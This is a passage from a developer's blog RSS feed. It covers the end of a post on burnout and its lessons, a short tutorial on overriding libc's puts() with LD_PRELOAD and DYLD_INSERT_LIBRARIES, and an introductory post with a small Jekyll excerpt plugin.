hanging out with my friends and going out.&lt;/p&gt;

&lt;p&gt;I was slowly becoming happy again.&lt;/p&gt;

&lt;h2 id=&quot;lessons-learned&quot;&gt;Lessons learned&lt;/h2&gt;

&lt;p&gt;I’m really grateful I went through this experience and that it happened at
my first job.&lt;/p&gt;

&lt;p&gt;Through all of that, I learned few lessons:&lt;/p&gt;

&lt;h3 id=&quot;dont-let-your-work-define-you&quot;&gt;Don’t let your work define you&lt;/h3&gt;
&lt;p&gt;Work should be an addition to your life. No matter what the deadlines are,
working over 8 hours a day should rarely ever happen.&lt;/p&gt;

&lt;p&gt;Maintaining a healthy work - life balance is really important.&lt;/p&gt;

&lt;h3 id=&quot;constantly-deliver&quot;&gt;Constantly deliver&lt;/h3&gt;
&lt;p&gt;Culture of delivering is important. Having to wait 2 months before you’re able
to roll changes out to your customers is extremely demotivating.&lt;/p&gt;

&lt;h3 id=&quot;take-vacation&quot;&gt;Take vacation&lt;/h3&gt;
&lt;p&gt;And avoid working for companies without clearly defined vacation policy.
&lt;em&gt;Mandatory&lt;/em&gt; vacation policy - when employees have to take some time off during
the year - is even better.&lt;/p&gt;

&lt;h3 id=&quot;learn-to-say-no&quot;&gt;Learn to say ‘no’&lt;/h3&gt;
&lt;p&gt;If taking on one more project is too much for you, just say ‘no’.&lt;/p&gt;

&lt;h3 id=&quot;delayed-gratification-is-bullshit&quot;&gt;Delayed gratification is bullshit&lt;/h3&gt;
&lt;p&gt;People need to be gratified properly to work. Gym membership or beer keg at
the office don’t really cut it. While they’re great benefits to have, hard
cash is infinitely better.
If your company doesn’t have the culture of giving bonuses to people after
certain milestones, it might end up demotivating you.&lt;/p&gt;

&lt;h3 id=&quot;burnout-is-serious&quot;&gt;Burnout is serious&lt;/h3&gt;
&lt;p&gt;I feel like our community doesn’t pay enough attention to this matter. Burnout
is actually very serious and the correct reaction isn’t always ‘just take a month
of vacation’.&lt;/p&gt;

&lt;h3 id=&quot;quit-your-job&quot;&gt;Quit your job&lt;/h3&gt;
&lt;p&gt;If nothing else helps and you realize that you’re not passionate about stuff
you’re doing anymore, quit your job. Being burned out is worse than not having
a job.&lt;/p&gt;

&lt;h2 id=&quot;what-now&quot;&gt;What now?&lt;/h2&gt;

&lt;h3 id=&quot;suggested-reading&quot;&gt;Suggested reading&lt;/h3&gt;
&lt;p&gt;I came across those great pieces online:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;http://enemygatedown.com/post/59780565568/reset&quot;&gt;Reset&lt;/a&gt;, by &lt;a href=&quot;https://twitter.com/anoemi&quot;&gt;Ana&lt;/a&gt;, with whom I had the pleasure of working at Nodejitsu&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.jeremyhutchings.com/2009/12/burnout.html&quot;&gt;Burnout and how to deal with it&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.nczonline.net/blog/2012/06/12/the-care-and-feeding-of-software-engineers-or-why-engineers-are-grumpy/&quot;&gt;The care and feeding of software engineers&lt;/a&gt; - I love the “Whatever your next gig is, make sure that you’re not a short-order cook.” quote&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://blog.izs.me/post/69091089622/the-hazards-of-consensus&quot;&gt;The Hazards of Consensus&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://medium.com/better-humans/6d711818b86a&quot;&gt;What gets done is what gets done&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
				<pubDate>Sun, 15 Dec 2013 00:00:00 -0600</pubDate>
				<link>http://blog.mmalecki.com/2013/12/15/burnout.html</link>
				<guid isPermaLink="true">http://blog.mmalecki.com/2013/12/15/burnout.html</guid>
			</item>
		
			<item>
				<title>Using LD_PRELOAD</title>
				<description>&lt;p&gt;Recently I had a chance to play with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LD_PRELOAD&lt;/code&gt; for a bit, due to our recent
Huge Refactor (tm) at Nodejitsu. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LD_PRELOAD&lt;/code&gt; environment variable is a way of
loading a library before &lt;em&gt;any&lt;/em&gt; other libraries are loaded.&lt;/p&gt;

&lt;!-- more --&gt;

&lt;p&gt;For example, let’s write this short program in C:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span class=&quot;cp&quot;&gt;#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;argc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;**&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;puts&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Hello, world!&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Its output is obvious:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ gcc puts.c -o puts
$ ./puts
Hello, world!
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now, as I mentioned before, with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LD_PRELOAD&lt;/code&gt; we can force our library to be
loaded before other libraries. This also affects &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;libc&lt;/code&gt;. That means that we can
override the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;puts()&lt;/code&gt; function&lt;/p&gt;

&lt;p&gt;Let’s compile this little library and try to override &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;puts&lt;/code&gt; from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;libc&lt;/code&gt;:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span class=&quot;cp&quot;&gt;#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;dlfcn.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;puts&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;original_puts&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dlsym&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;RTLD_NEXT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;puts&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;original_puts&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Hello, puts!&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Thanks to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dlsym(RTLD_NEXT, &quot;puts&quot;)&lt;/code&gt;, we’re able to extract the original &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;puts&lt;/code&gt;
function and call it with different arguments. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RTLD_NEXT&lt;/code&gt; is a pseudo-handle
which makes linker search for occurences of symbol in libraries loaded &lt;em&gt;after&lt;/em&gt;
current library.&lt;/p&gt;

&lt;p&gt;First problem we’re going to run into is the difference between how Mac OS X
and other UNIX operating systems work.&lt;/p&gt;

&lt;p&gt;To compile this library on Mac OS X execute:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;gcc &lt;span class=&quot;nt&quot;&gt;-dynamiclib&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; puts-override.dylib puts-override.c&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;To compile it on other operating systems, use:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;gcc &lt;span class=&quot;nt&quot;&gt;-D_GNU_SOURCE&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-fPIC&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-shared&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; puts-override.so &lt;span class=&quot;nt&quot;&gt;-ldl&lt;/span&gt; puts-override.c&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Now that we compiled the library, let’s try overriding our &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;puts&lt;/code&gt; call.&lt;/p&gt;

&lt;p&gt;On Mac OS X:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ export DYLD_FORCE_FLAT_NAMESPACE=1
$ export DYLD_INSERT_LIBRARIES=./puts-override.dylib
$ ./puts
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;On other operating systems:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ export LD_PRELOAD=./puts-override.so
$ ./puts
Hello, puts!
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now, the difference between compilation and usage come from the fact that
Mac OS X uses a different linker than other systems. You can read more about
OS X’s linker on its &lt;a href=&quot;https://developer.apple.com/library/mac/#documentation/Darwin/Reference/Manpages/man1/dyld.1.html&quot;&gt;manual page&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;That’s it for this blog post. If you have problems getting those instructions
to work, shoot me a line!&lt;/p&gt;
</description>
				<pubDate>Wed, 17 Jul 2013 00:00:00 -0500</pubDate>
				<link>http://blog.mmalecki.com/2013/07/17/using-ld-preload.html</link>
				<guid isPermaLink="true">http://blog.mmalecki.com/2013/07/17/using-ld-preload.html</guid>
			</item>
		
			<item>
				<title>Hello, world!</title>
				<description>&lt;p&gt;This &lt;em&gt;is&lt;/em&gt; your typical “Hello, world!” blog posts.&lt;/p&gt;

&lt;h2 id=&quot;whoami&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;whoami&lt;/code&gt;&lt;/h2&gt;

&lt;p&gt;I am a node.js and C developer, a DevOps engineer by trade. I write code, I
talk to servers. I work at &lt;a href=&quot;https://www.nodejitsu.com&quot;&gt;Nodejitsu&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;I’m going to blog about things I love working on: architecture, code, JavaScript
and C. Maybe more. Most likely more.&lt;/p&gt;

&lt;!-- more --&gt;

&lt;h2 id=&quot;what-is-this-blog&quot;&gt;What is this blog?&lt;/h2&gt;

&lt;p&gt;It’s a &lt;a href=&quot;http://jekyllrb.com/&quot;&gt;Jekyll&lt;/a&gt;-based blog, hosted with &lt;a href=&quot;http://nginx.org/&quot;&gt;nginx&lt;/a&gt;
and Joyent.&lt;/p&gt;

&lt;p&gt;It uses this very simple plugin I put together for excerpts:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-ruby&quot; data-lang=&quot;ruby&quot;&gt;&lt;span class=&quot;k&quot;&gt;module&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;Jekyll&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;module&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;More&lt;/span&gt;
    &lt;span class=&quot;no&quot;&gt;TAG&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&amp;lt;!-- more --&amp;gt;&quot;&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;more&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;include?&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;TAG&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;split&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;TAG&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;first&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&amp;lt;p class=&apos;more&apos;&amp;gt;&amp;lt;a href=&apos;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;#{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&apos;&amp;gt;Read more...&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&quot;&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

&lt;span class=&quot;no&quot;&gt;Liquid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;Template&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;register_filter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;Jekyll&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;More&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Why not come up with something custom? It’s simple, &lt;strong&gt;I like getting stuff done&lt;/strong&gt;.&lt;/p&gt;
</description>
				<pubDate>Wed, 17 Jul 2013 00:00:00 -0500</pubDate>
				<link>http://blog.mmalecki.com/2013/07/17/hello-world.html</link>
				<guid isPermaLink="true">http://blog.mmalecki.com/2013/07/17/hello-world.html</guid>
			</item>
		
	</channel>
</rss>
